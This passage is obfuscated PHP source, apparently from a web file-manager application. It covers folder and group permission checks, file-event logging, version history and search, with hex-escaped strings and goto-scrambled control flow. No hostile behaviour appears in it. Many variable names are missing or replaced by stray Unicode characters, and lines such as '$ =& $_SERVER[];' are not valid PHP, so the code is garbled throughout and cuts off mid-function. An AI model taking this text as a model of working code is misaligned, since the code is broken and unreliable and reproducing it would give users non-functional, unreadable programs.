array($[443] => $ƞߐ, $[2055] => array($[448] => 0, $[1872] => $ƞߐ, $[449] => LNG($[2056]), $[1889] => $[2057])); $آ = array(); foreach ($ as $㢩 => $ܐ) { if ($ && $GLOBALS[$[6]][$[1885]]) { $آ[$㢩] = $Ǭ; continue; } $آ[$㢩] = $this->makeSourceAuth($ܐ, $Ѯö, $ٌ); } return $آ; } public function authDeepCheck($øڙ, $ӽ = false) { $® =& $_SERVER[]; $ӽ = $ӽ ? $ӽ : USER_ID; $͒ = $this->makeAuthDeep($ӽ); if (!in_array($øڙ, $͒[$®[2058]])) { return !1; } $묙 = array(); foreach ($͒[$®[2059]] as $ => $ֻ) { if (!in_array($øڙ, $ֻ)) { continue; } $묙[] = $; } if (!$묙) { return !1; } $ = $묙 ? $묙[0] : $øڙ; return array($®[443] => -1, $®[496] => array($®[448] => $®[1221], $®[1872] => $®[198], $®[449] => LNG($®[2060]), $®[1889] => $®[2061]), $®[2062] => LNG($®[2063]), $®[2064] => $this->sourceAuthInfo($)); } protected function makeAuthDeep($ = false) { $ =& $_SERVER[]; static $ߪƃ = array(); $ = $ ? $ : USER_ID; if (isset($ߪƃ[$])) { return $ߪƃ[$]; } $ؽ = Model($[2065])->listData(); $ = array(); foreach ($ؽ as $) { if ($[$[442]] == 0 && $[$[1888]] == $[88]) { $[] = $[$[428]]; } } $ʑ = $this->userGroupParents($); $έ = array($[440] => SourceModel::TYPE_USER, $[525] => $); if ($ʑ) { $έ = array(array($[440] => SourceModel::TYPE_USER, $[525] => $), array($[440] => SourceModel::TYPE_GROUP, $[525] => array($[447], $ʑ)), $[1033] => $[1964]); } $學 = $this->field($[2066])->where($έ)->select(); $ܰ = array(); $î = array_to_keyvalue_group($學, $[431]); foreach ($î as $ʛϑ => $) { $ܡ = $this->authArrayCheck($, $); if ($ܡ[$[443]] > 0) { $ܰ[] = $ʛϑ . $[12]; } } if ($ʑ) { $ = Model($[541]); foreach ($ʑ as $Š) { $톼 = $->getInfo($Š); if (!$톼 || !is_array($톼[$[87]])) { continue; } $ܰ[] = $톼[$[87]][$[431]]; } } $ = array(); $ = $ʑ; $ = Model($[1366]); $ = Model($[541]); $ = array(); $̋ = array(); $ = array(); $ο劰 = array(); if ($ܰ) { $ܓ = $->where(array($[431] => array($[447], $ܰ)))->select(); foreach ($ܓ as $) { $ = $->parentLevelArray($[$[540]]); $ = array_merge($, $); $[] = $[$[525]]; $[$[$[431]]] = $; $̋[$[$[431]]] = $[$[525]]; } } $ = array_values(array_unique($)); $׃ = $; foreach ($׃ as $Š) { $톼 = $->getInfo($Š); $ = $->parentLevelArray($톼[$[540]]); $ = array_merge($, $); } $ = array_values(array_unique($)); foreach ($ as $Š) { $톼 = $->getInfo($Š); $[] = $톼[$[87]][$[431]]; $[$Š] = $톼[$[87]][$[431]]; $ο劰[$Š] = $->parentLevelArray($톼[$[540]]); } foreach ($ as $ => $) { $Ȇ = $̋[$]; if (!$Ȇ || !$[$Ȇ]) { continue; } $ۭ = array(); foreach ($ο劰[$Ȇ] as $Š) { $ۭ[] = $[$Š]; } $[$] = array_merge($ۭ, $); } $ = array_values(array_unique($)); $렃 = array($[2058] => $, $[2059] => $); $ߪƃ[$] = $렃; return $렃; } private function makeSourceAuth($, $瞚, $͊ = false) { $… =& $_SERVER[]; $ש = $…[88]; $ = $[$…[525]]; $ǻĔ = $[$…[440]] == SourceModel::TYPE_GROUP; $֔ = $ǻĔ ? $this->groupRootAuth($, $͊) : !1; if ($֔ && Model($…[527])->authCheckAction($֔[$…[442]], $…[1887])) { return $this->groupAuthInfo($֔, $); } $ڵ = Model($…[1366])->parentLevelArray($[$…[540]]); $ڵ = array_merge(array($[$…[431]]), array_reverse($ڵ)); $ے = !1; foreach ($ڵ as $) { if (!isset($瞚[$])) { continue; } $ڔ = $this->authMake($瞚[$], $͊); if ($ڔ[$…[496]]) { $ے = $ڔ; break; } } if (!$ǻĔ) { return $ے; } if (!$ے && $֔) { $ے = $this->groupAuthInfo($֔, $); } if (!$ے) { $ = Model($…[541])->getInfo($); $ӥϬ = explode($…[50], trim($[$…[540]], $…[50])); $ӥϬ = array_reverse($ӥϬ); foreach ($ӥϬ as $) { if ($ == $…[198] || $ == $ש) { continue; } $ϭ = $this->groupRootAuth($, $͊); if (!$ϭ) { continue; } $ے = $this->groupAuthInfo($ϭ, $); break; } } if (!$ے || $ے[$…[443]] <= 0) { $ǃ = $this->authDeepCheck($[$…[431]], $͊); if ($ǃ) { $ے = $ǃ; } } return $ے; } private function userIsRoot($㪆 = false) { $ =& $_SERVER[]; if (!$㪆 && _get($GLOBALS, $[523])) { return !0; } $у = Model($[554])->getInfo($㪆); $ = Model($[2067])->listData($у[$[1555]]); if ($ && $[$[531]][$[2068]] == 1) { return !0; } return !1; } private function sourceAuthInfo($) { $ =& $_SERVER[]; $ = Model($[1366]); $ = $->sourceInfo($); if (!$) { return !1; } $->groupPathDisplay($); $Փ = array($); $Փ = $->_listAppendPath($Փ); $ = $Փ[0]; $ = $[$[538]]; if (isset($[$[546]])) { $ = explode($[8], trim($[$[538]], $[8])); array_shift($); $ = $[$[544]] . $[2069] . implode($[8], $); } return array($[449] => $[$[32]], $[84] => KodIO::make($[$[431]]), $[2070] => $); } private function groupAuthInfo($°, $) { $ſ =& $_SERVER[]; $ٶ = Model($ſ[541])->getInfo($); return array($ſ[2071] => intval($°[$ſ[442]]), $ſ[2055] => $°, $ſ[2072] => LNG($ſ[2073]), $ſ[2064] => array($ſ[449] => $ٶ[$ſ[32]], $ſ[84] => KodIO::make($ٶ[$ſ[87]][$ſ[431]]), $ſ[2070] => $ٶ[$ſ[545]])); } protected function groupRootAuth($, $ū = false) { $ =& $_SERVER[]; $ū = $ū ? $ū : USER_ID; $Ԉ = $ū . $[2074] . $; static $ = array(); if (isset($[$Ԉ])) { return $[$Ԉ]; } $߷ŕ = Model($[541])->getInfo($); $ = $this->userGroupList($ū); $ѕ = isset($[$]) ? $[$][$[442]] : !1; if ($ѕ && Model($[527])->authCheckAction($ѕ[$[442]], $[1887])) { $[$Ԉ] = $ѕ; return $ѕ; } $ʹݏ = $this->sourceAuthSelect($߷ŕ[$[87]][$[431]]); $ᆝ = $ʹݏ ? $this->authMake($ʹݏ, $ū) : !1; $ąᰫ = $ᆝ ? $ᆝ[$[496]] : !1; $[$Ԉ] = $ąᰫ ? $ąᰫ : $ѕ; return $[$Ԉ]; } public function authOwnerApply($̓) { $Ԕ =& $_SERVER[]; if (empty($̓[$Ԕ[442]]) || isset($̓[$Ԕ[2075]]) && $̓[$Ԕ[2075]]) { return $̓; } if (AuthModel::authCheckRoot($̓[$Ԕ[442]][$Ԕ[443]])) { return $̓; } $ϫڦ = Model($Ԕ[1366])->parentLevelArray($̓[$Ԕ[540]]); $ϫڦ = array_merge(array($̓[$Ԕ[431]]), array_reverse($ϫڦ)); $ = $this->sourceAuthSelect($ϫڦ); $͡ = array(); $ = array(); foreach ($ as $♋ => $ﵽ) { $ﵢΎ = $this->authFolderOwnerUser($ﵽ); $͡[$♋] = $ﵢΎ; $ = array_merge($, $ﵢΎ[$Ԕ[619]]); if ($ﵢΎ[$Ԕ[2076]]) { break; } } if (count($) == 0) { $ = $this->authFolderOwnerGroup($̓[$Ԕ[525]]); } $ = array_unique($); if (AuthModel::authCheckRoot($̓[$Ԕ[442]][$Ԕ[443]])) { $[] = USER_ID; } $̓[$Ԕ[442]][$Ԕ[2077]] = Model($Ԕ[533])->userListInfo($); return $̓; } private function authFolderOwnerGroup($Lj) { $ =& $_SERVER[]; $ܣ = Model($[1956])->where(array($[1866] => $Lj))->select(); $ï = array(); if (!$ܣ) { return $ï; } foreach ($ܣ as $) { $ = $this->authInfo($); if (AuthModel::authCheckRoot($[$[442]])) { $ï[] = $[$[1676]]; } } return $ï; } private function authFolderOwnerUser($𖭸) { $ =& $_SERVER[]; $ꍶ = array(); $͍ = !1; foreach ($𖭸 as $) { $ĵ = $this->authInfo($); if ($[$[525]] == $[198]) { $͍ = !0; } if ($[$[440]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($ĵ[$[442]])) { $ꍶ[] = $[$[525]]; } } } return array($[619] => $ꍶ, $[2076] => $͍); } public function authMake($ӈ, $ = false) { $Ӕ =& $_SERVER[]; $ϳͨ = $this->authArrayCheck($ӈ, $); if ($ϳͨ[$Ӕ[2078]]) { $ϳͨ[$Ӕ[2078]] = $this->sourceAuthInfo($ϳͨ[$Ӕ[2078]]); } return $ϳͨ; } public function authArrayCheck($މѠ, $ؔ = false) { $ =& $_SERVER[]; if (!$މѠ) { return array($[443] => 0, $[496] => !1); } $ؔ = $ؔ ? $ؔ : USER_ID; $ = 0; $ԑ = 0; $ٽ = 0; $ۻ = 0; $ = 0; $ = 0; $ = 1000; $ = 0; $ = 0; $ܶ = 0; $ = 0; $ = array($[431] => 0); foreach ($މѠ as $) { $צ = $this->authInfo($); if (!$צ) { continue; } $ך = $[$[525]]; $ = intval($צ[$[442]]); if ($[$[440]] == SourceModel::TYPE_USER && $ך == $ؔ) { $ = !0; $ٽ = $צ; $ԑ = $; } else { if ($[$[440]] == SourceModel::TYPE_GROUP && $this->groupContainUser($ך, $ؔ)) { $ۻ = !0; $ = $this->groupStepToUserGroup($ך, $ؔ); if ($ < $) { $ = $; $ = $; $ = $צ; $ = $ך; } if ($ == $ && $ >= $) { $ = $; $ = $צ; $ = $ך; } } else { if ($ך == $[198]) { $ = !0; $ = $צ; $ܶ = $; } } } } if ($) { $ = $ԑ; $צ = $ٽ; $ = LNG($[2079]); } else { if ($ۻ) { $ = $; $צ = $; $陹 = Model($[541])->getInfo($); $ = $[162] . $陹[$[545]] . $[2080] . LNG($[2081]); } else { if ($) { $ = $ܶ; $צ = $; $ = LNG($[2052]); } else { $ = 0; $צ = !1; $ = $[12]; } } } $Ͼ׋ = array($[2071] => intval($), $[2055] => $צ, $[2072] => $, $[2064] => $[$[431]]); return $Ͼ׋; } private function groupContainUser($ޅռ, $ = false) { return in_array($ޅռ, $this->userGroupParents($)); } private function groupStepToUserGroup($, $ = false) { $ֶ =& $_SERVER[]; $ = $this->userGroupList($); $ = 1000; $׀ = $GLOBALS[$ֶ[6]][$ֶ[89]][$ֶ[1969]] == 1; $⾔ = $׀ ? 3 : 2; foreach ($ as $) { if ($[$ֶ[1866]] == $) { return 0; } $ˍ = explode($ֶ[50], trim($[$ֶ[540]], $ֶ[50])); if ($ˍ[0] == $ֶ[198] && count($ˍ) > $⾔) { $Í = array_reverse(array_slice($ˍ, $⾔)); $ = array_search($, $Í); if ($ !== !1 && $ + 1 <= $) { $ = $ + 1; } } } return $; } private function userGroupList($ѽ = false) { $↴ =& $_SERVER[]; static $ᖲ = array(); if (isset($ᖲ[$ѽ])) { return $ᖲ[$ѽ]; } $ѽ = Model($↴[554])->getInfo($ѽ); $ᖲ[$ѽ] = array_to_keyvalue($ѽ[$↴[2053]], $↴[1866]); return $ᖲ[$ѽ]; } public function userGroupParents($) { $ =& $_SERVER[]; static $Ձ = array(); $ = $ ? $ : USER_ID; if (isset($Ձ[$])) { return $Ձ[$]; } $͗ = $this->userGroupList($); $ = array(); $ӤÕ = $GLOBALS[$[6]][$[89]][$[1969]] == 1; $ɇ = $ӤÕ ? 3 : 2; foreach ($͗ as $) { $ֺ = array($[$[1866]]); $芴 = explode($[50], trim($[$[540]], $[50])); if ($芴[0] == $[198] && count($芴) > $ɇ) { $ = array_slice($芴, $ɇ); $ֺ = array_merge($ֺ, array_reverse($)); } $ = array_merge($, $ֺ); } $Ձ[$] = array_unique($); return $Ձ[$]; } public function authTargetInfoMake($Ń) { $ =& $_SERVER[]; $ӣâ = array(); $ = array(); foreach ($Ń as $) { if ($[$[440]] == SourceModel::TYPE_USER) { $ӣâ[] = intval($[$[525]]); } else { if ($[$[440]] == SourceModel::TYPE_GROUP) { $[] = intval($[$[525]]); } } } if ($ӣâ) { $ӣâ = Model($[533])->userListInfo($ӣâ); } if ($) { $ޓ = array($[1954] => array($[447], $)); $ = Model($[541])->field($[2082])->where($ޓ)->select(); $ = array_to_keyvalue($, $[1866]); } return array($[2083] => $ӣâ, $[2084] => $); } public function authInfo($) { $ =& $_SERVER[]; if ($[$[1970]]) { $ = Model($[527])->listData($[$[1970]]); if (!$) { return !1; $搆 = Model($[527])->listData(); $ = array_filter_by_field($搆, $[442], $[198]); return $; } $ = array_field_key($, array($[428], $[32], $[442], $[1889], $[1890])); $[$[2085]] = $; return $; } else { return array($[448] => 0, $[1872] => $[$[2030]], $[449] => $[12], $[1889] => $[2086]); } } } class SourceEventModel extends ModelBase { protected $tableName = "\x69\157\137\163\x6f\165\x72\x63\x65\x5f\145\166\145\156\x74"; protected $dataAuto = array(array("\x63\x72\x65\x61\164\x65\124\151\x6d\x65", "\x74\151\155\145", "\x69\x6e\x73\145\162\164", "\146\165\156\x63\164\x69\157\x6e"), array("\x64\x65\x73\x63", '', "\151\156\163\145\x72\x74\x2c\165\x70\144\x61\164\145\x2c\163\145\x6c\145\x63\x74", "\152\x73\x6f\x6e")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($ד, $, $ = '') { $ =& $_SERVER[]; if (!$this->eventSave) { return; } $κԁ = Model($[1366])->sourceInfo($ד); if (!$κԁ) { return !1; } if ($this->isCacheEvent($κԁ, $)) { return; } if ($ && is_string($)) { $ = array($[1905] => $); } $띧 = defined($[2087]) ? USER_ID : 0; $ = array($[446] => $ד, $[2088] => $κԁ[$[461]], $[2089] => $κԁ[$[32]], $[538] => !empty($κԁ[$[538]]) ? $κԁ[$[538]] : $[12], $[1667] => $띧, $[451] => $, $[1669] => $); $this->addSystemLog($, $); unset($[$[2089]], $[$[538]]); return $this->add($); } private function addSystemLog($С, $т) { $ĥ =& $_SERVER[]; if ($С == $ĥ[2090]) { $С = $т[$ĥ[482]][$ĥ[2091]]; } else { if (in_array($С, array($ĥ[1846], $ĥ[2092]))) { $С = $т[$ĥ[482]][$ĥ[780]]; } } $ = array_merge($т, array($ĥ[2093] => $т[$ĥ[431]], $ĥ[2094] => $т[$ĥ[2094]])); Hook::trigger($ĥ[2095], $ĥ[2096] . $С, $т); Model($ĥ[1810])->addLog($ĥ[2096] . $С, $); } private function isCacheEvent($۹, $) { if ($۹[$_SERVER[][440]] == SourceModel::TYPE_SYSTEM) { return !0; } return !1; } public function eventCreate($, $Ԋ) { $ڂ =& $_SERVER[]; $ȓ = Model($ڂ[1366])->sourceInfo($); $륰 = array($ڂ[2091] => $Ԋ, $ڂ[32] => $ȓ[$ڂ[32]]); return $this->addEvent($, $ڂ[2090], $륰); } public function eventFileEdit($򘸵) { $ʺ =& $_SERVER[]; $ϊ = array($ʺ[2097] => $_SERVER[$ʺ[2098]], $ʺ[2099] => strtolower(ACTION)); if (isset($GLOBALS[$ʺ[7]][$ʺ[2100]])) { $ϊ[$ʺ[2100]] = $ʺ[88]; } return $this->addEvent($򘸵, $ʺ[1836], $ϊ); } public function eventRecycle($, $ǿ) { return $this->addEvent($, $_SERVER[][2092], $ǿ); } public function eventRemove($) { $ȿ =& $_SERVER[]; $Ʌ = Model($ȿ[1366])->sourceInfo($); $ˌŪ = $Ʌ[$ȿ[32]]; return $this->addEvent($Ʌ[$ȿ[461]], $ȿ[1835], $ˌŪ); } public function eventShare($, $) { return $this->addEvent($, $_SERVER[][1846], $); } public function eventMove($, $펾͋, $ɉ) { $䩳 =& $_SERVER[]; $ = Model($䩳[1366]); $ = $->sourceInfo($); $ = $->sourceInfo($펾͋); $ӣ = $->sourceInfo($ɉ); $ = array($䩳[1193] => $펾͋, $䩳[2101] => $[$䩳[32]], $䩳[2078] => !empty($[$䩳[538]]) ? $[$䩳[538]] : $䩳[12], $䩳[1194] => $ɉ, $䩳[2102] => $ӣ[$䩳[32]], $䩳[2103] => !empty($ӣ[$䩳[538]]) ? $ӣ[$䩳[538]] : $䩳[12]); $this->addEvent($, $䩳[577], $); $ = $->sourceInfo($); $ = array($䩳[431] => $[$䩳[431]], $䩳[32] => $[$䩳[32]]); $this->addEvent($펾͋, $䩳[2104], $); } public function eventCopy($) { $this->eventCreate($, $_SERVER[][575]); } public function eventRename($鷽Ͼ, $Ζ, $ԃĭ) { $ԫ =& $_SERVER[]; $ͱ = array($ԫ[1193] => $Ζ, $ԫ[1194] => $ԃĭ); return $this->addEvent($鷽Ͼ, $ԫ[1381], $ͱ); } public function eventAddComment($, $) { return $this->addEvent($, $_SERVER[][2105], $); } public function eventAddDesc($, $) { return $this->addEvent($, $_SERVER[][2106], $); } public function listBySource($) { $ =& $_SERVER[]; $ = Model($[1366])->sourceInfo($); $٤믧 = array($[446] => $); if ($[$[439]] == $[88]) { $ = Model($[1366])->listSearchChildren($, 20000); $[] = $ . $[407]; $٤믧 = array($[431] => array($[7], $)); } $ƛ؟ = $this->where($٤믧)->order($[2107])->selectPage(); if ($ƛ؟[$[395]][$[396]] == 0) { $ƛ؟[$[395]][$[396]] = 1; $ƛ؟[$[398]] = array(array($[446] => $, $[2088] => $[$[461]], $[1667] => $[$[483]], $[451] => $[2108], $[452] => $[$[201]], $[1669] => $[12])); } return $this->eventListParse($ƛ؟, $); } private function eventListParse($, $) { $ =& $_SERVER[]; $ = $[$[398]]; $Ư = array_to_keyvalue($, $[12], $[431]); $ = array_to_keyvalue($, $[12], $[2094]); foreach ($ as $ċ) { $ = $ċ[$[482]]; if ($ċ[$[33]] == $[577] && isset($[$[1193]])) { $Ư[] = $[$[1193]] . $[12]; $Ư[] = $[$[1194]] . $[12]; } if ($ċ[$[33]] == $[2104] && isset($[$[431]])) { $Ư[] = $[$[431]] . $[12]; } } $Ư = array_merge($Ư, $, array($ . $[12])); $Ư = array_unique($Ư); $ˉ = array_unique(array_to_keyvalue($, $[12], $[1676])); $ć = Model($[554])->userListInfo($ˉ); $ = Model($[851])->sourceListInfo($Ư, !0); foreach ($ as &$ċ) { if ($ċ[$[33]] == $[577] && isset($ċ[$[482]][$[1193]])) { $ċ[$[482]][$[1193]] = $[$ċ[$[482]][$[1193]]]; $ċ[$[482]][$[1194]] = $[$ċ[$[482]][$[1194]]]; } if ($ċ[$[33]] == $[2104] && isset($ċ[$[482]][$[431]])) { $ċ[$[482]][$[431]] = $[$ċ[$[482]][$[431]]]; } $ċ[$[87]] = $[$ċ[$[431]]]; $ċ[$[2109]] = $[$ċ[$[2094]]]; if ($ċ[$[33]] == $[1835]) { $ċ[$[2109]] = $ċ[$[87]]; $ċ[$[2094]] = $ċ[$[2109]][$[431]]; $ċ[$[87]] = !1; $ċ[$[431]] = $[12]; } $ċ[$[2038]] = $ć[$ċ[$[1676]]]; } unset($ċ); $[$[398]] = $; return $; } public function removeBySource($׸) { $Ғ = array($_SERVER[][446] => $׸); $this->where($Ғ)->remove(); } } goto eĎ; A𑥛: define($_SERVER[][270], 1); define($_SERVER[][271], 0); define($_SERVER[][272], 2); goto Cʈ; eĎ: class SourceHistoryModel extends ModelBase { protected $tableName = "\151\157\137\x73\157\165\162\x63\x65\137\150\151\x73\x74\x6f\162\171"; public function historyCount($) { $ =& $_SERVER[]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $㫂 = array($[431], $[1899] => $[520]); $Ƴ = array($[431] => array($[7], $)); $ɕ = $this->field($㫂)->where($Ƴ)->group($[431])->select(); return array_to_keyvalue($ɕ, $[431], $[520]); } public function addHistory($޼軂, $ = '') { $ڿ =& $_SERVER[]; $ؕ = array($ڿ[446] => $޼軂[$ڿ[431]], $ڿ[1667] => isset($޼軂[$ڿ[485]]) ? $޼軂[$ڿ[485]] : $޼軂[$ڿ[483]], $ڿ[498] => $޼軂[$ڿ[497]], $ڿ[574] => $޼軂[$ڿ[76]], $ڿ[2110] => $); if ($GLOBALS[$ڿ[6]][$ڿ[89]][$ڿ[1250]] >= 1) { $this->historyAutoClear($ؕ[$ڿ[431]]); $this->add($ؕ); } Hook::trigger($ڿ[2111], $ؕ); Model($ڿ[2112])->eventFileEdit($޼軂[$ڿ[431]]); } private function historyAutoClear($ø) { $ =& $_SERVER[]; $ = Model($[796])->get($[1272]); $鰿 = $GLOBALS[$[6]][$[89]][$[1250]]; $ԁ = $ == $[1273] ? min(5, $鰿) : $鰿; $ԁ = $ԁ <= 0 ? 0 : $ԁ - 1; if ($ԁ >= 500) { return; } $ȳ = array($[446] => $ø); $ː = $this->field($[2113])->where($ȳ)->order($[2107])->select(); if (!$ː || $ԁ >= count($ː)) { return; } $䇨 = array_to_keyvalue($ː, $[12], $[428]); $䇨 = array_slice($䇨, $ԁ); $ȭԧ = array_to_keyvalue($ː, $[12], $[497]); $ȭԧ = array_slice($ȭԧ, $ԁ); if (!$䇨 || !$ȭԧ) { return; } $ȳ = array($[448] => array($[7], $䇨)); $this->where($ȳ)->delete(); Model($[500])->remove($ȭԧ); } public function listData($ʑ) { $ =& $_SERVER[]; $ = array($[446] => $ʑ); $ = $[2114]; $䃏қ = $this->field($)->where($)->order($[2107])->selectPage(); $this->_listAppendUser($䃏қ[$[398]]); $ = Model($[796])->get($[1272]); $ = 5; if ($ == $[1273]) { $䃏қ[$[398]] = array_slice($䃏қ[$[398]], 0, $); $䃏қ[$[395]] = array($[2115] => 1, $[2116] => 20, $[2117] => 1, $[2118] => count($䃏қ[$[398]])); } return $䃏қ; } protected function _listAppendUser(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1676]); $샨͌ = Model($[554])->userListInfo($); foreach ($ as &$ǣу) { $摲 = $ǣу[$[1676]]; $ǣу[$[483]] = $샨͌[$摲] ? $샨͌[$摲] : !1; } unset($ǣу); } public function fileInfo($߻) { $޴ =& $_SERVER[]; $̣ = $this->tablePrefix; $ = "{$̣}\151\x6f\137\146\x69\154\x65\40\x66\151\154\x65\163\x20\x6f\156\x20\146\x69\154\x65\163\56\x66\x69\x6c\145\x49\104\40\75\x20\150\151\x73\164\x6f\162\x79\x2e\146\x69\x6c\145\111\104"; return $this->alias($޴[2119])->where(array($޴[448] => $߻))->join($, $޴[2120])->find(); } public function removeItem($) { $ =& $_SERVER[]; $ǖ = array($[448] => $); $ = $this->where($ǖ)->find(); if ($) { $ = $this->where($ǖ)->delete(); Model($[500])->remove($[$[497]]); return $; } return !1; } public function removeBySource($) { $ =& $_SERVER[]; if (!$) { return !1; } if (!is_array($)) { $ = array($); } $ = array($[446] => array($[7], $)); $Џ = $this->field($[498])->where($)->select(); if ($Џ) { $this->where($)->delete(); $ = array_to_keyvalue($Џ, $[12], $[497]); Model($[500])->remove($); } return !0; } public function setDetail($Ȏ, $Ղ߲) { $҇ =& $_SERVER[]; return $this->where(array($҇[448] => $Ȏ))->save(array($҇[2110] => $Ղ߲)); } public function rollbackToItem($ȹڻ, $х) { $䅄 =& $_SERVER[]; $ = Model($䅄[851])->sourceInfo($ȹڻ); $this->addHistory($, LNG($䅄[2121])); $ۄռ = $this->find($х); $ߪ = array($䅄[497] => $ۄռ[$䅄[497]], $䅄[76] => $ۄռ[$䅄[76]], $䅄[85] => time(), $䅄[485] => USER_ID); Model($䅄[851])->where(array($䅄[431] => $ȹڻ))->save($ߪ); return $this->where(array($䅄[448] => $х))->delete(); } public function clearSame($Ɗ) { $ =& $_SERVER[]; $ȯ = $this->listData($Ɗ); $֟ϸ = array_to_keyvalue_group($ȯ, $[497]); $ = array(); $ = array(); foreach ($֟ϸ as $ޝܕ) { if (!$ޝܕ || count($ޝܕ) <= 1) { continue; } foreach ($ޝܕ as $) { $[] = $[$[497]]; $[] = $[$[428]]; } } if (!$) { return; } $this->where(array($[428] => array($[7], $)))->delete(); Model($[500])->remove($); } public function userSpace() { $ٟ =& $_SERVER[]; $†ҽ = $this->tablePrefix; $Յ = array($ٟ[1667] => USER_ID); $ǝ = "{$†ҽ}\151\157\x5f\x66\151\x6c\x65\40\146\151\154\145\x73\x20\157\156\40\x66\x69\154\x65\163\56\x66\x69\154\145\x49\104\x20\x3d\x20\x68\x69\163\x74\x6f\x72\171\56\146\151\x6c\x65\x49\x44"; return $this->alias($ٟ[2119])->where($Յ)->join($ǝ, $ٟ[2120])->sum($ٟ[76]); } } class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($) { $Ⅸ =& $_SERVER[]; $î = KodIO::fileTypeList(); $ų = $î[$]; if (!$ų) { return array(); } $ = $ų[$Ⅸ[174]]; $ = $Ⅸ[7]; if (!$ų[$Ⅸ[174]]) { $ʼn䉲 = array_to_keyvalue($î, $Ⅸ[12], $Ⅸ[174]); $ = implode($Ⅸ[50], $ʼn䉲); $ = $Ⅸ[2122]; } $Ԯޢ = explode($Ⅸ[50], trim($, $Ⅸ[50])); return array($, $Ԯޢ); } public function listPathType($ݵ) { $ =& $_SERVER[]; $ = $this->fileTypeWhere($ݵ); if (!$) { return array(); } $ɴ = USER_ID; $̸ = Model($[554])->getInfo($ɴ); $ݝ = array($[605] => SourceModel::TYPE_USER, $[540] => array($[569], $[550] . $̸[$[87]][$[431]] . $[570]), $[606] => $ɴ, $[603] => 0, $[604] => $); return $this->listSource($ݝ); } public function listSearch($Ԩ, $۹Ѯ = 300) { $רȝ =& $_SERVER[]; if (isset($Ԩ[$רȝ[1960]]) && $Ԩ[$רȝ[1960]]) { $Ԩ[$רȝ[1960]] = str_replace($רȝ[413], $רȝ[2123], trim($Ԩ[$רȝ[1960]])); } $ = $this->_parseSearchWhere($Ԩ); if (!isset($[$רȝ[460]])) { $[$רȝ[460]] = 0; } $͟ = $רȝ[2124]; $ӧ = $; $ = $͟; $this->_listSearchBindPinyin($Ԩ, $, $͟); $this->alias($רȝ[475])->_makeOrder(); $ = $this->parseWhereLike($); $儋 = $this->distinct(!0)->field($͟)->where($)->selectPage($۹Ѯ); if ($GLOBALS[$רȝ[6]][$רȝ[410]][$רȝ[411]] && Input::check($Ԩ[$רȝ[1960]], $רȝ[612]) && $儋[$רȝ[395]][$רȝ[382]] == 1 && $儋[$רȝ[395]][$רȝ[396]] == 0) { $儋 = $this->distinct(!0)->field($͟)->where($ӧ)->limit(1000)->select(); $儋 = array_page_split($儋, !1, $۹Ѯ); } $this->_listSearchFileContent($儋, $Ԩ, $, $ӧ); $this->_listSearchDesc($儋, $Ԩ, $); $this->_listSearchTag($儋, $Ԩ, $); $this->_listSearchGroupTag($儋, $Ԩ, $); $this->_listDataApply($儋[$רȝ[398]]); $this->_listMake($儋); return $儋; } private function _listSearchFileContent(&$, $؜, $ܚ, $) { $τ =& $_SERVER[]; if (!$؜[$τ[1960]] || $[$τ[395]][$τ[382]] > 1) { return; } if (!isset($[$τ[32]]) || !is_array($؜[$τ[497]])) { return; } $[$τ[497]] = array($τ[7], $؜[$τ[497]]); unset($[$τ[32]]); unset($؜[$τ[497]]); $ = $this->field($ܚ)->where($)->limit($τ[2125])->select(); if (!$ || count($) == 0) { return; } $[$τ[398]] = array_merge($, $[$τ[398]]); $[$τ[395]][$τ[396]] += count($); } private function _listSearchTag(&$݋, $, $캧) { $㌾ =& $_SERVER[]; if (!$[$㌾[1960]] || $݋[$㌾[395]][$㌾[382]] > 1) { return; } $ = Model($㌾[2126])->listData(); $˝ = array(); $׹ = $[$㌾[1960]]; foreach ($ as $Ȭӕ) { $ = $Ȭӕ[$㌾[32]]; $͛٤ = str_replace($㌾[53], $㌾[12], Pinyin::get($)); if (stripos($, $׹) !== !1 || stripos($͛٤, $׹) !== !1) { $˝[] = $Ȭӕ[$㌾[428]]; } } if (!$˝) { return; } $ = array($㌾[455] => array($㌾[7], $˝), $㌾[1676] => USER_ID); $ɋ = Model($㌾[457])->field($㌾[84])->where($)->select(); $ɋ = array_to_keyvalue($ɋ, $㌾[12], $㌾[84]); $ = array_unique($ɋ); $this->_listSearchMerge($݋, $, $캧, $); } private function _listSearchDesc(&$ׅ, $͘, $¥) { $ֆ =& $_SERVER[]; if (!$͘[$ֆ[1960]] || $ׅ[$ֆ[395]][$ֆ[382]] > 1) { return; } $ӎ = array($ֆ[94] => $ֆ[482], $ֆ[403] => array($ֆ[412], $ֆ[1962] . $͘[$ֆ[1960]] . $ֆ[1962])); $΋ = !1; if ($΋) { $Ŭ = $this->listSearchChildren($͘[$ֆ[461]]); $Ŭ = array_unique($Ŭ); if (!$Ŭ) { return; } $ӎ[$ֆ[431]] = array($ֆ[7], $Ŭ); } $Ԯ = Model($ֆ[589])->field($ֆ[431])->where($ӎ)->limit(5000)->select(); $Ձٗ = array_to_keyvalue($Ԯ, $ֆ[12], $ֆ[431]); $this->_listSearchMerge($ׅ, $͘, $¥, $Ձٗ); } private function _listSearchGroupTag(&$, $ĕ, $) { $۶ =& $_SERVER[]; if (!$ĕ[$۶[1960]] || $[$۶[395]][$۶[382]] > 1 || !$ĕ[$۶[461]]) { return; } $ = $this->sourceInfo($ĕ[$۶[461]]); if (!$ || $[$۶[440]] != SourceModel::TYPE_GROUP) { return; } $ = $[$۶[525]]; $ϱ = Model($۶[2127])->get($); $ܟ = array(); $ɴ = $ĕ[$۶[1960]]; foreach ($ϱ[$۶[398]] as $Î) { $Ӵ = $Î[$۶[32]]; $Ȅ = str_replace($۶[53], $۶[12], Pinyin::get($Ӵ)); if (stripos($Ӵ, $ɴ) !== !1 || stripos($Ȅ, $ɴ) !== !1) { $ܟ[] = $Î[$۶[428]]; } } if (!$ܟ) { return; } $ = array($۶[455] => array($۶[7], $ܟ), $۶[1676] => 0, $۶[33] => $۶[1982] . $); $ݡ— = Model($۶[457])->field($۶[84])->where($)->select(); $ݡ— = array_to_keyvalue($ݡ—, $۶[12], $۶[84]); $ե⽞ = array_unique($ݡ—); $this->_listSearchMerge($, $ĕ, $, $ե⽞); } private function _listSearchMerge(&$ĩ, $ï, $, $с) { $Ε =& 